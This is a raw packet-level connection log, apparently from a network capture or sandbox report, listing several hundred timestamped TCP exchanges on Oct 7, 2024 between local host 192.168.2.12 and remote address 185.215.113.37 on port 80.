Oct 7, 2024 18:03:22.030627012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.030662060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.030666113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.030695915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.030699015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.030734062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.030734062 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.030776978 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.030985117 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.031039000 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.163973093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164000988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164014101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164025068 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164036036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164047956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164061069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164117098 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.164288998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.164302111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164314032 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164325953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164336920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164343119 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.164349079 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164362907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164381027 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.164382935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164401054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164416075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.164422989 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.164443970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.165024996 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165035963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165045977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165051937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165060997 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.165062904 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165074110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165083885 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.165086031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165096998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165107012 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.165110111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165119886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165121078 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.165132046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165146112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165148020 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.165157080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165170908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.165191889 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.165923119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165935040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165945053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165950060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165961027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165971994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165982008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.165990114 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.165993929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166007996 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166018963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166028976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166032076 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.166039944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166052103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166059971 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.166075945 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.166853905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166865110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166877031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166888952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166899920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166912079 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166913033 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.166924000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166932106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.166934967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166946888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166948080 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.166958094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166970015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166975021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.166982889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.166994095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167002916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.167004108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167020082 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.167042017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.167773008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167787075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167797089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167812109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167824030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167835951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167850018 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167860985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167861938 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.167875051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167886972 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.167886972 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167897940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167906046 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.167907953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167917967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167927027 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.167928934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.167954922 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.167970896 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.168598890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.168612957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.168622971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.168633938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.168644905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.168656111 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.168657064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.168673038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.168705940 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.275342941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.275391102 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.275438070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.275459051 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.275680065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.275732040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.275732994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.275768042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.275777102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.275800943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.275810003 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.275835037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.275842905 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.275870085 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.275876045 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.275909901 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276076078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276108027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276122093 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276143074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276144981 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276177883 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276221037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276252985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276262045 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276284933 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276290894 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276319981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276331902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276355982 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276597023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276628971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276648045 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276660919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276662111 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276693106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276705980 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276726007 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276726007 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276760101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276771069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276793003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276798010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276824951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276830912 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276859999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.276864052 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.276952982 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.277200937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.277246952 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.277251005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.277282953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.277287960 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.277316093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.277323008 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.277348995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.277359962 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.277381897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.277384996 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.277414083 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.277420998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.277442932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.277451992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.277477026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.277477980 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.277508974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.277513981 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.277540922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.277545929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.277574062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.277581930 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.277606010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.277611017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.277638912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.277648926 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.277676105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.278177023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.278209925 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.278240919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.278273106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.278302908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.278310061 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.278336048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.278358936 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.278368950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.278377056 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.278402090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.278408051 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.278434992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.278439999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.278467894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.278476000 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.278496981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.278503895 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.278528929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.278532028 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.278561115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.278573990 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.278594971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.278598070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.278628111 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.278628111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.278665066 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279047012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279079914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279099941 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279107094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279114962 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279139996 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279143095 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279172897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279175043 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279205084 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279212952 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279238939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279263020 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279269934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279278040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279301882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279308081 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279335022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279342890 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279367924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279390097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279422045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279422998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279463053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279767990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279798985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279814005 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279831886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279834032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279861927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279867887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279896021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279911041 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279927969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279931068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279962063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279968977 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.279994011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.279999018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.280025959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.280034065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.280057907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.280065060 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.280088902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.280096054 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.280121088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.280128002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.280154943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.280163050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.280189037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.280200005 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.280225992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.280567884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.280602932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.280618906 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.280636072 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.280657053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.280670881 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.359801054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.359836102 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.359986067 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.399867058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.399930954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.399965048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400000095 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400022984 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400036097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400069952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400078058 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400105000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400106907 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400136948 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400142908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400181055 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400253057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400290012 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400346994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400377035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400386095 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400410891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400412083 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400444984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400448084 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400479078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400482893 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400511980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400515079 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400544882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400547028 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400578022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400799036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400831938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400839090 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400865078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400866032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400899887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400902987 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400927067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400937080 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400942087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400957108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.400974989 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400974989 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.400985003 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.401170969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401189089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401200056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401206017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.401210070 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401221037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.401226044 CEST	80	49711	185.215.113.37	192.168.2.12
